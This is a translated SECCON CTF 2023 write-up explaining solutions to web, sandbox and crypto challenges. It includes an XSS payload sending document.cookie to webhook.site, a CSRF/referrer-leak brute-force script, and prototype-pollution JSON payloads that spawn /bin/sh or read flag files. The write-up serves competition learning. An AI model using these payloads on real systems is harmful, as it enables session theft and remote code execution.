SECCON CTF 2023 Quals Writeups
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time at ${cYsTiCk}, I solved a few web/misc challenges and ended up in second place. Since some of the challenges were really fun, I decided to write a writeup.
web
blink
The core of this function:
const createBlink = async (html) => {
const sandbox = wrap(
$("#viewer").appendChild(document.createElement("iframe"))
);
// I believe it is impossible to escape this iframe sandbox...
sandbox.sandbox = sandboxAttribute;
sandbox.width = "100%";
sandbox.srcdoc = html;
await new Promise((resolve) => (sandbox.onload = resolve));
const target = wrap(sandbox.contentDocument.body);
target.popover = "manual";
const id = setInterval(target.togglePopover, 400);
return () => {
clearInterval(id);
sandbox.remove();
};
};
The html
is controllable, while the sandbox cannot execute script
.
My idea was simple, to find a way to clobber sandbox.contentDocument.body.togglePopover
into a string, and then setInterval
would treat the string like eval
.
I used iframe
+ name
to remove body
, and then used srcdoc
with a
to control the string:
<iframe name=body srcdoc=" <a id=togglePopover href='cid:eval(frames[0].js.textContent)'>"></iframe><div id=js>(new Image).src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901?'+document.cookie</div>
The final URL looks like this:
http://blink.seccon.games:3000/#%3Ciframe%20name=body%20srcdoc=%22%20%20%3Ca%20id=togglePopover%20href='cid:eval(frames[0].js.textContent)'%3E%22%3E%3C/iframe%3E%3Cdiv%20id=js%3E(new%20Image).src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901?'+document.cookie%3C/div%3E
Flag: SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}
hidden-note
A go-written xsleaks challenge, besides adding and searching notes, there is a special share function.
The share function renders your search results using the same template into HTML and saves it as static HTML. However, the regular search uses gin's c.HTML
, while the share uses text/template
, allowing for HTML injection.
The reason there is no XSS is because the HTML contains:
<meta http-equiv="Content-Security-Policy" content="script-src 'none'; style-src https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css">
It turns out that using <img referrerPolicy='unsafe-url' src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901'>
can leak the referrer, so just CSRF create a note to inject the img tag, and then let the bot share it, and we can see the flag in the referrer URL...?
Unfortunately, it's not that simple because the share actually filters out notes in the form SECCON{.*}
, so there won't be a flag inside. The complete code looks like this:
router.GET("/share", func(c *gin.Context) {
user := c.MustGet("user").(*User)
notes, err := user.getNotes(user.Query)
if err != nil {
c.String(500, "Failed to read notes")
return
}
// Hide your secret notes 🤫
notes = lo.Filter(notes, func(note Note, _ int) bool {
return !secretPattern.MatchString(note.Content)
})
fileName := getRandomHex(12) + ".html"
file, err := os.OpenFile(fmt.Sprintf("shared/%s", fileName), os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
c.Status(500)
return
}
if err := indexTmpl.Execute(file, gin.H{
"user": user,
"notes": notes,
"shared": true,
}); err != nil {
c.Status(500)
return
}
c.Redirect(302, fmt.Sprintf("/shared/%s", fileName))
})
What to do? After thinking for a long time, I found the key in its getNotes
:
func (user *User) getNotes(query string) ([]Note, error) {
files, err := os.ReadDir(fmt.Sprintf("notes/%s", user.ID))
if err != nil {
return nil, err
}
notes := make([]Note, 0, len(files))
for _, file := range files {
content, err := os.ReadFile(fmt.Sprintf("notes/%s/%s", user.ID, file.Name()))
if err != nil {
return nil, err
}
notes = append(notes, Note{
ID: file.Name(),
Content: string(content),
})
}
notes = lo.Filter(notes, func(note Note, _ int) bool {
return strings.Contains(note.Content, query)
})
sort.Slice(notes, func(i, j int) bool {
return notes[i].Content < notes[j].Content
})
return notes, nil
}
Here we can see the process is readdir
-> [(id, content)]
-> filter by content
-> sort by content
, and finally filter flags
. The key point is that sort.Slice is unstable, meaning if you have two notes with the same Content
but different ID
, their order is not guaranteed after sorting.
Another key point is that os.ReadDir sorts filenames, i.e., ID
. What does this mean?
Suppose some notes after filtering but before sorting look like this:
ID Content
0001 SECCON{f
0002 SECCON{f
0003 SECCON{f
...
0007 SECCON{flag}
...
0015 SECCON{f
After sorting, 0007
should move to the end, and the order of notes with SECCON{f
will be random. When I removed SECCON{flag}
and tested with go, I found that in this case, the ID order remains unchanged, so we can determine if there is a match for the flag.
It seems that due to special handling of short slices in go, a certain number of notes are needed to exhibit this feature.
However, we still need HTML injection to leak the search result URL, and user.Query
cannot be used because it is used to search for the flag. So there must be a note with content asdasd <img ...> SECCON{f
. But this causes the problem of not being able to distinguish how the IDs will change in these two cases:
['SECCON{'] * n + ['asdasd <img ...> SECCON{f']
['SECCON{'] * n + ['asdasd <img ...> SECCON{f'] + ['SECCON{flag}']
But if we think carefully, do we really not know how it will change? In the final HTML page, we have many notes' ID
and Content
, and their order after the first filter is known due to os.ReadDir
(sorted by ID
).
Consider case 1, if we use the same go version to sort by Content
, the resulting ID
order should match the HTML. In case 2, due to SECCON{flag}
, it will move to the end and be removed by the second filter, so the ID
order won't match, allowing us to determine if there is a match for the flag.
In practice, there will be a go program responsible for comparing the sorting:
ss.go
:
package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"sort"
)
type Note struct {
ID string
Content string
}
func Filter[V any](collection []V, predicate func(item V, index int) bool) []V {
result := make([]V, 0, len(collection))
for i, item := range collection {
if predicate(item, i) {
result = append(result, item)
}
}
return result
}
func getRandomHex(n int) string {
bytes := make([]byte, n)
rand.Read(bytes)
return hex.EncodeToString(bytes)
}
func main() {
notes := []Note{}
decoder := json.NewDecoder(os.Stdin)
err := decoder.Decode(¬es)
if err != nil {
panic(err)
}
// for _, note := range notes {
// fmt.Printf("%s %s\n", note.ID, note.Content)
// }
// fmt.Println("=============")
newNotes := make([]Note, len(notes))
copy(newNotes, notes)
sort.Slice(newNotes, func(i, j int) bool {
return newNotes[i].ID < newNotes[j].ID
})
sort.Slice(newNotes, func(i, j int) bool {
return newNotes[i].Content < newNotes[j].Content
})
// for _, note := range newNotes {
// fmt.Printf("%s %s\n", note.ID, note.Content)
// }
fmt.Println(notes[0].ID == newNotes[0].ID)
}
And a flask server handling some interactions:
import requests
from bs4 import BeautifulSoup
import json, sys
from subprocess import check_output
from flask import Flask, request
def check_url(share_url):
# check if a shared note contains the flag before being filtered
html = requests.get(share_url).text
soup = BeautifulSoup(html, "html.parser")
notes = []
for f in soup.select("form"):
id = f.attrs["action"].split("/").pop()
ct = f.select_one("td").text
notes.append({"ID": id, "Content": ct})
out = check_output(["go", "run", "ss.go"], input=json.dumps(notes).encode())
return out.decode().strip() == "true", soup.select_one("strong").text
def sanity_check():
assert check_url(
"http://hidden-note.seccon.games:3000/shared/18336c499ca1c79f257e3751.html"
)[0]
assert not check_url(
"http://hidden-note.seccon.games:3000/shared/358801da7725d393aec082fc.html"
)[0]
app = Flask(__name__, static_folder="")
@app.get("/")
def index():
return app.send_static_file("index.html")
@app.get("/report")
def report():
print(request.headers, file=sys.stderr, flush=True)
url = request.headers["referer"].replace(
"web:3000", "hidden-note.seccon.games:3000"
)
print(url, file=sys.stderr, flush=True)
res, checking = check_url(url)
print((res, checking), file=sys.stderr, flush=True)
if not res:
print("!" * 40, file=sys.stderr, flush=True)
print(checking, file=sys.stderr, flush=True)
return ""
app.run(port=7777, debug=True)
Finally, index.html
:
<script>
const base = `${location.protocol}//${location.host}`
const report = new URL('/report', base)
const params = new URLSearchParams(location.search)
// const target = 'http://hidden-note.seccon.games:3000/'
// const target = 'http://web:3000/'
const target = params.get('target') || 'http://hidden-note.seccon.games:3000/'
async function createNote(content, timeout = 5000) {
const w = window.open('about:blank')
with (w) {
const form = w.document.createElement('form')
form.method = 'POST'
form.action = new URL('notes/new', target)
const input = w.document.createElement('input')
input.type = 'text'
input.name = 'content'
input.value = content
form.appendChild(input)
w.document.body.appendChild(form)
form.submit()
}
return new Promise(res => {
setTimeout(() => {
w.close()
res()
}, timeout)
})
}
;(async () => {
// local testing
// const w = window.open('http://hidden-note.seccon.games:3000/clear')
// setTimeout(() => {
// w.close()
// }, 1000)
const charset = '_}abcdefghijklmnopqrstuvwxyz0123456789'
// const charset = 'tuvwxyz0123456789'
const prefix = 'SECCON{pdq_1e4k'
for (const c of charset) {
const guess = prefix + c
await Promise.all(Array.from({ length: 15 }).map(() => createNote(guess, 2000)))
const ht = `<img referrerPolicy='unsafe-url' src='${report}'>`
await createNote('peko ' + ht + ' ' + guess, 500)
window.open(new URL('/share?query=' + encodeURIComponent(guess), target))
}
// SECCON{pdq_1e4k}
})()
</script>
I later realized I shouldn't search with
SECCON{...
but ratherECCON{...
becauseSECCON{...}
gets removed XD
sandbox
node-ppjail
import * as fs from "node:fs";
const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
"Object",
"String",
"Boolean",
"Array",
"Function",
"RegExp",
];
type Dict = Record<string, unknown>;
type Custom = {
[CUSTOM_KEY]: true;
type: string;
args: unknown[];
};
const isDict = (value: unknown): value is Dict => {
return value === Object(value);
};
const isCustom = (value: unknown): value is Custom => {
return isDict(value) && !!value[CUSTOM_KEY];
};
const set = (target: unknown, key: string, value: unknown) => {
if (!isDict(target)) return;
if (key in target) return;
target[key] = value;
};
const merge = (target: unknown, input: Dict) => {
if (!isDict(target)) return;
for (const key of Object.keys(input)) {
const value = input[key];
if (!isDict(value)) {
set(target, key, value);
} else if (Array.isArray(value)) {
set(target, key, []);
merge(target[key], value);
} else if (!isCustom(value)) {
set(target, key, {});
merge(target[key], value);
} else {
const { type, args } = value;
if (CUSTOM_TYPES.includes(type)) {
try {
set(target, key, new globalThis[type](...args));
} catch {}
}
}
}
};
process.stdout.write("Input your JSON: ");
const inputStr = (() => {
const buf = new Uint8Array(1024);
const n = fs.readSync(fs.openSync("/dev/stdin", "r"), buf);
return new TextDecoder().decode(buf.slice(0, n));
})();
const target: Dict = {
title: "node-ppjail",
category: "sandbox",
};
merge(target, JSON.parse(inputStr));
In short, there is an obvious prototype pollution (the challenge name already tells you XD), and you can also create some special data types, including Function
, aiming for RCE. However, due to a key in target
check, you can't overwrite existing properties like toString
.
Initially, I tried to replace Object.prototype.__proto__
with my own proxy and use get
to see which properties were accessed. However, this didn't work because ES2017 made Object.prototype
an exotic object, locking its [[prototype]]
. (Refer to this answer)
So, I decided to clone node.js, patch the v8 part, and recompile it. Specifically, I commented out this code.
Then, I used methods like this to record property access:
let props = ''
Object.prototype.__proto__ = new Proxy(
{ __proto__: null },
{
get: (target, prop, receiver) => {
props += `GET ${prop}` + '\n'
return Reflect.get(target, prop, receiver)
},
__proto__: null
}
)
I didn't use console.log
directly because it would also be accessed, causing a recursion error XD
However, I couldn't find anything useful in this situation, but then I thought, since v8 has a Stack Trace API, what if I polluted Object.prototype.prepareStackTrace
? Testing showed that any uncaught exception would trigger it, making the challenge simple.
Another problem was how to trigger an error. The CUSTOM_TYPES
part is all try-catch, so I had to trigger it elsewhere. My first thought was to use a deep array to cause a recursion error, but the input string length limit of 1024 made this impossible.
Then I realized that strict mode functions cannot access caller
and arguments
, so I made it access them to solve the challenge.
{"__proto__":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["'use strict';return process.binding('spawn_sync').spawn({'file':'/bin/sh','args':['sh','-c','cat /flag* > /dev/pts/0'],stdio: [{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}]}).output[1]"]}},"a":{"prepareStackTrace":{"caller":{}}}}
This was done by making my defined function strict mode and then accessing its caller. Later, I realized a simpler method was to use Object.caller
, resulting in:
{"__proto__":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["return process.binding('spawn_sync').spawn({'file':'/bin/sh','args':['sh','-c','cat /flag* > /dev/pts/0'],stdio: [{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}]}).output[1]"]},"constructor":{"caller":{}}}}
Flag: SECCON{Deno_i5_an_anagr4m_0f_Node}
Additionally, @parrot409's payload:
{"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["console.log(process.mainModule.require(`fs`).readFileSync(`/flag-c4edc8d813ccfa253d090fa595a4cd91.txt`).toString())"]},"1":{"__custom__":true,"type":"Function","args":["2"]}}}}
The prepareStackTrace
part is similar, but I don't understand why overwriting 1
with Function('2')
works, but it does trigger an error.
deno-ppjail
const CUSTOM_KEY = "__custom__";
const CUSTOM_TYPES = [
"Object",
"String",
"Boolean",
"Array",
"Function",
"RegExp",
];
type Dict = Record<string, unknown>;
type Custom = {
[CUSTOM_KEY]: true;
type: string;
args: unknown[];
};
const isDict = (value: unknown): value is Dict => {
return value === Object(value);
};
const isCustom = (value: unknown): value is Custom => {
return isDict(value) && !!value[CUSTOM_KEY];
};
const set = (target: unknown, key: string, value: unknown) => {
if (!isDict(target)) return;
if (key in target) return;
target[key] = value;
};
const merge = (target: unknown, input: Dict) => {
if (!isDict(target)) return;
for (const key of Object.keys(input)) {
const value = input[key];
if (!isDict(value)) {
set(target, key, value);
} else if (Array.isArray(value)) {
set(target, key, []);
merge(target[key], value);
} else if (!isCustom(value)) {
set(target, key, {});
merge(target[key], value);
} else {
const { type, args } = value;
if (CUSTOM_TYPES.includes(type)) {
try {
set(target, key, new globalThis[type](...args));
} catch {}
}
}
}
};
const inputStr = prompt("Input your JSON:") ?? "";
const target: Dict = {
title: "deno-ppjail",
category: "sandbox",
};
merge(target, JSON.parse(inputStr));
Same as before, except for reading input.
I also considered patching deno v8 to modify Object.prototype.__proto__
, but I didn't succeed ==
Since I couldn't change Object.prototype.__proto__
, I tried modifying other objects like Function
, Array
, Error
:
const proxy = new Proxy(
{},
{
get: (target, prop, receiver) => {
console.log('get', prop)
return Reflect.get(target, prop, receiver)
}
}
)
Object.setPrototypeOf(Function.prototype, proxy)
Object.setPrototypeOf(Array.prototype, proxy)
Object.setPrototypeOf(Error.prototype, proxy)
Object.setPrototypeOf(String.prototype, proxy)
Object.setPrototypeOf(Number.prototype, proxy)
After triggering an error, I found it reads cause
, and testing showed that Object.prototype.cause
(actually error.cause
) would be logged by console.log
(or console.error
).
Reading the console code, I found circular.get
is called here, so it all connects. This time, I used a recursion error to trigger it, as there was no length limit.
json = """{"constructor":{"prototype":{"cause":{"x":1},"circular":{"get": {"__custom__":true,"type":"Function","args":["for(const f of Deno.readDirSync('/'))if(f.name.includes('flag'))console.log(Deno.readTextFileSync('/'+f.name))"]} }}},"a":%s}"""
depth = 5000
arr = "[" * depth + "]" * depth
payload = json % arr
print(payload)
# SECCON{ECMAScr1pt_has_g4dgets_of_prototype_po11ution!!!}
Additionally, @parrot409 provided a different solution:
'{"constructor":{"prototype":{"nodeProcessUnhandledRejectionCallback":{"__custom__":true,"type":"Function","args":["console.log(Array.from(Deno.readDirSync(`/`)));"]}}},"A":'+'['.repeat(10000)+']'.repeat(10000)+'}';
It seems to trigger somewhere in node.js compatibility, and the error method is the same as mine, using a recursion error.
Finally, the challenge author's @Ark's magical solution: twitter
Below is the simplified version
Object.prototype.return = () => console.log(123)
for (const x of [1]) {
break // this is important
}
and
Object.prototype.return = () => console.log(123)
const [x] = [1]
Seeing this, I was curious why, so I read the spec and found the key: 7.4.8 IteratorClose
In short, JavaScript's iterator protocol can define a return(value)
function, allowing the caller to tell the iterator that no more next
calls will be made, so the iterator can perform cleanup. (MDN)
Both for..of and destructuring internally call the iterator (i.e., it = obj[Symbol.iterator]()
). The default iterator object has no return
, so polluting it will call it.
The two examples above trigger IteratorClose
because break
means early termination, and destructuring doesn't know the length of the right-side iterator, so it defaults to IteratorClose
, except for let [x, ...y] = [1]
(using rest operator or more destructuring than the right side) which doesn't trigger it.
crypto
plai_n_rsa
RSA gives but not , and we need to decrypt the flag.
My approach was to use the small nature of to brute force small and use as , then to solve it.
from tqdm import trange
e = 65537
d = 15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint = 275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c = 8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
for k in trange(1, e):
phi = (e * d - 1) // k
n = phi + hint - 1
m = pow(c, d, n)
flag = int(m).to_bytes(512, "big").strip(b"\x00")
if flag.startswith(b"SECCON{"):
print(flag)
break
# SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}